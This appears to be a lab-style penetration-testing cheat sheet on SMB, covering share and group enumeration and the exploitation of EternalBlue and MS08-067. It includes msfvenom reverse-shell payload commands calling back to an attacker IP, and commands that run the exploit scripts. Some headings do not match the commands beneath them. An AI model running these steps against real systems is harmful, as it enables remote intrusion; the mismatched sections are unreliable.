The Server Message Block Protocol (SMB Protocol) is a client-server communication protocol used for sharing access to files, printers, serial ports, and data on a network. It can also carry transaction protocols for authenticated inter-process communication.
SMB protocol operate on different ports depending on the type of communication:
Port 445 (TCP): This port is used for direct SMB communication over TCP/IP, including file and printer sharing, remote administration, and inter-process communication.
Port 139 (TCP): This port is used for SMB over NetBIOS, which is an underlying protocol that SMB relies on for name resolution and session establishment.
Practice
Authentication
Null session refers to an unauthenticated session established with an SMB server where the client does not provide any credentials.
The inclusion of Anonymous and Everyone access group in the pre-Windows 2000 compatible access group allow us to make an anonymous connection over SMB. Using a random username and password you can check if the target accepts annonymous/guest logon
#Try to enumerate groups over SMB with null/anonymous session
nmap --script="smb-enum-groups" -p 445 <IP>
#Or enumerate with a valide session
nmap --script="smb-enum-groups" --script-args smbusername=administrator,smbpassword=mypassword_1 -p 445 <IP>
Shares
SMBClient is a native tool that allow us to interact with SMB shares. We can use it to list shares as follow
#Try to enumerate groups over SMB with null/anonymous session
nmap --script="smb-enum-sessions" -p 445 <IP>
#Or enumerate with a valide session
nmap --script="smb-enum-sessions" --script-args smbusername=administrator,smbpassword=mypassword_1 -p 445 <IP>
Password Policy
NetExec can be used to enumerate various objects over SMB like the domain password policy.
You may use nmap to scan target for SMB vulnerabilities
sudo nmap -p 445 --script="smb-vuln-*" <IP>
EternalBlue - MS17-010
Eternalblue is a flaw that allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server.
Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012 et Windows Server 2016 versions using SMBv1 are likely vulnerable if not patched.
Tools like nmap can be used to detect the presence of the EternalBlue vulnerability.
#Exploit
python2.7 zzz_exploit.py <IP>
#Exploit on ntsvcs named pipe
python2.7 zzz_exploit.py <IP> ntsvcs
To exploit, we may use the helviojunior PoC on GitHub. He forked the worawit repo and added a single send_and_execute.py, which is really handy.
First, we have to edit USERNAME and PASSWORD at the begening of the send_and_execute.py script
Second, generate a reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=9001 EXITFUNC=thread -f exe -a x86 --platform windows -o pwned.exe
Third, trigger the exploit
#Exploit
python2.7 send_and_execute.py <IP> pwned.exe
#Exploit on ntsvcs named pipe
python2.7 send_and_execute.py <IP> pwned.exe ntsvcs
MS08-067
The MS08-067 vulnerability is a buffer overflow vulnerability in the Windows Server service.The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code.
Tools like nmap can be used to to detect the presence of the MS08-067 vulnerability.
First, generate a Python shellcode and utilize it to replace the current one in ms08-067.py.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=9001 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
Second, we have to guess version of windows and language pack. The exploit takes advantage of knowing where some little bits of code will be in memory, and uses those bits on the path to shell.
Third, trigget the exploit
#6 is for Windows XP SP3 English (NX)
python ms08-067.py 10.10.10.4 6 445
#4 is for Windows 2003 SP1 English
python ms08-067.py 10.10.10.4 4 445